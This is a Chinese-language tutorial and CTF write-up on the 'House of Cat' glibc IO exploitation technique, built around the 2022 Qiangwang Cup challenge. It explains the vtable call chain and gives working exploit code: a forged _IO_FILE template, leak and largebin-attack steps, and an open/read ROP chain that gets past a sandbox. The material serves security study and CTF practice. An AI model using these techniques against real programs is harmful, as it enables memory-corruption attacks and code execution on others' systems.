新型 IO 利用方法初探—House of cat 学习利用
字数 1820 2025-08-23 18:31:08
House of Cat 新型 IO 利用方法详解
一、概述
House of Cat 是 catf1y 师傅在 2022 年 5 月发现并总结的一种新型 Glibc IO 利用方式,取自 2022 年强网杯的同名题目。该方法承袭了 House of Emma 的利用思路,通过修改虚表指针偏移来劫持程序 IO 流进行攻击。
二、前置知识
House of Emma
- 利用
_IO_cookie_jumps虚表中的函数指针 - 需要攻击 TLS 上的
pointer_chk_guard - 有时需要爆破偏移
House of Cat 改进
- 利用
_IO_wfile_jumps函数中的_IO_wfile_seekoff函数 - 转调用
_IO_switch_to_wget_mode进行攻击 - 避免了 House of Emma 中绕过 TLS 检测的复杂操作
- 解决了 stderr 指针无法篡改的问题
三、调用链分析
_IO_wfile_jumps -> _IO_wfile_seekoff -> _IO_switch_to_wget_mode(fp)
关键函数分析
1. _IO_wfile_seekoff
off64_t _IO_wfile_seekoff(FILE *fp, off64_t offset, int dir, int mode) {
// 检查条件
int must_be_exact = ((fp->_wide_data->_IO_read_base == fp->_wide_data->_IO_read_end)
&& (fp->_wide_data->_IO_write_base == fp->_wide_data->_IO_write_ptr));
bool was_writing = ((fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
|| _IO_in_put_mode(fp));
if (was_writing && _IO_switch_to_wget_mode(fp))
return WEOF;
// ...
}
2. _IO_switch_to_wget_mode
int _IO_switch_to_wget_mode(FILE *fp) {
if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
if ((wint_t)_IO_WOVERFLOW(fp, WEOF) == WEOF)
return EOF;
// ...
}
3. _IO_WOVERFLOW 宏
#define _IO_WOVERFLOW(FP, CH) WJUMP1(__overflow, FP, CH)
关键汇编代码:
mov rax, qword ptr [rdi + 0xa0]
mov rdx, qword ptr [rax + 0x20]
mov rax, qword ptr [rax + 0xe0]
call qword ptr [rax + 0x18]
四、利用条件
- 任意写能力:能控制一个可写地址(如通过 largebin attack)
- 地址泄露:能泄露 libc 地址和 heap 地址
- 触发 IO 流:可通过以下三种方式之一:
- 调用 exit 或从 main 退出
- puts、printf 函数调用
_malloc_assert
五、攻击方式
1. 修改 _IO_list_all
- 将其改为可控地址
- 在可控地址中伪造 fake_IO 结构体
- 利用 FSOP 触发
2. 修改 stderr
- 将其改为可控地址
- 在可控地址中伪造 fake_IO 结构体
- 利用
malloc_assert触发
六、fake_io 构造
检测绕过条件
(fp->_wide_data->_IO_read_base == fp->_wide_data->_IO_read_end)(fp->_wide_data->_IO_write_base == fp->_wide_data->_IO_write_ptr)(fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base) || _IO_in_put_mode(fp)
构造模板
fake_io_addr = heapbase + 0xb00 # 伪造的fake_IO结构体地址
next_chain = 0
fake_IO_FILE = p64(rdi) # _flags=rdi
fake_IO_FILE += p64(0) * 7
fake_IO_FILE += p64(1) + p64(2) # rcx!=0(FSOP)
fake_IO_FILE += p64(fake_io_addr + 0xb0) # _IO_backup_base=rdx
fake_IO_FILE += p64(call_addr) # _IO_save_end=call addr(call setcontext/system)
fake_IO_FILE = fake_IO_FILE.ljust(0x68, '\x00')
fake_IO_FILE += p64(0) # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x88, '\x00')
fake_IO_FILE += p64(heapbase + 0x1000) # _lock = a writable address
fake_IO_FILE = fake_IO_FILE.ljust(0xa0, '\x00')
fake_IO_FILE += p64(fake_io_addr + 0x30) # _wide_data,rax1_addr
fake_IO_FILE = fake_IO_FILE.ljust(0xc0, '\x00')
fake_IO_FILE += p64(1) # mode=1
fake_IO_FILE = fake_IO_FILE.ljust(0xd8, '\x00')
fake_IO_FILE += p64(libcbase + 0x2160c0 + 0x10) # vtable=IO_wfile_jumps+0x10
fake_IO_FILE += p64(0) * 6
fake_IO_FILE += p64(fake_io_addr + 0x40) # rax2_addr
关键字段说明:
call_addr: setcontext 或 system 的地址_IO_backup_base: 执行函数时的 rdx_flags: 执行函数时的 rdi- 若使用 FSOP,需将 vtable 改为
IO_wfile_jumps+0x30
七、例题分析(2022强网杯 house of cat)
1. 程序分析
关键函数:
add: 使用calloc分配 largebin chunkdelete: 存在 UAF 漏洞edit: 只能使用两次,用于 largebin attackshow: 泄露信息
限制条件:
- 开启了沙箱(orw 可用)
- 检测 read 的 fd
- 无法使用 FSOP(无 exit 等返回方式)
2. 利用流程
-
泄露地址:
- 泄露 libc 地址和 heap 地址
-
两次 largebin attack:
- 第一次:修改 libc 中的 stderr
- 第二次:修改 top_chunk size 以触发
_malloc_assert
-
伪造 fake_io:
- 构造满足条件的 fake_io 结构
-
触发攻击:
- 通过
_malloc_assert触发 IO 链 - 执行 orw 的 ROP 链(setcontext+0x61)
- 通过
-
绕过沙箱限制:
- 使用
close(0)使 flag 文件的文件描述符为 0
- 使用
3. 关键步骤代码
泄露地址:
add(0, 0x420, b"000") #0
add(1, 0x430, b"111") #1
add(2, 0x418, b"222") #2
free(0)
add(3, 0x440, b"333") #3
show(0) #p1
p.recvuntil("Context:\n")
libc_base = u64(p.recv(6).ljust(8, b"\x00")) - 0x21a0d0
heap_base = u64(p.recv(6).ljust(8, b"\x00")) - 0x290
largebin attack:
# 第一次:修改stderr
edit(0, p64(libc_base + 0x21a0d0)*2 + p64(heap_base + 0x290) + p64(stderr - 0x20))
add(5, 0x440, "55555")
# 第二次:修改top_chunk size
edit(5, p64(libc_base + 0x21a0e0)*2 + p64(heap_base + 0x1370) + p64(heap_base + 0x28e0 - 0x20 + 3))
ROP链构造:
rop = p64(pop_rdi) + p64(0) + p64(close) # close(0)
rop += p64(pop_rdi) + p64(flag_addr) + p64(pop_rax) + p64(2) + p64(syscall_ret) # open(flag)
rop += p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(flag_addr + 0x10) + p64(pop_rdx_r12) + p64(0x100) + p64(0) + p64(read) # read(0,flag_addr+0x10,0x100)
rop += p64(pop_rdi) + p64(flag_addr + 0x10) + p64(puts) # puts(flag_addr+0x10)
八、总结
House of Cat 相比 House of Emma 有以下优势:
- 调用链更简单清晰
- 避免了复杂的 TLS 检测绕过
- 解决了 stderr 指针无法篡改的问题
- 在 FSOP 中也能使用
该方法是一个高效、可靠的 IO 攻击方式,适用于现代 Glibc 版本的利用场景。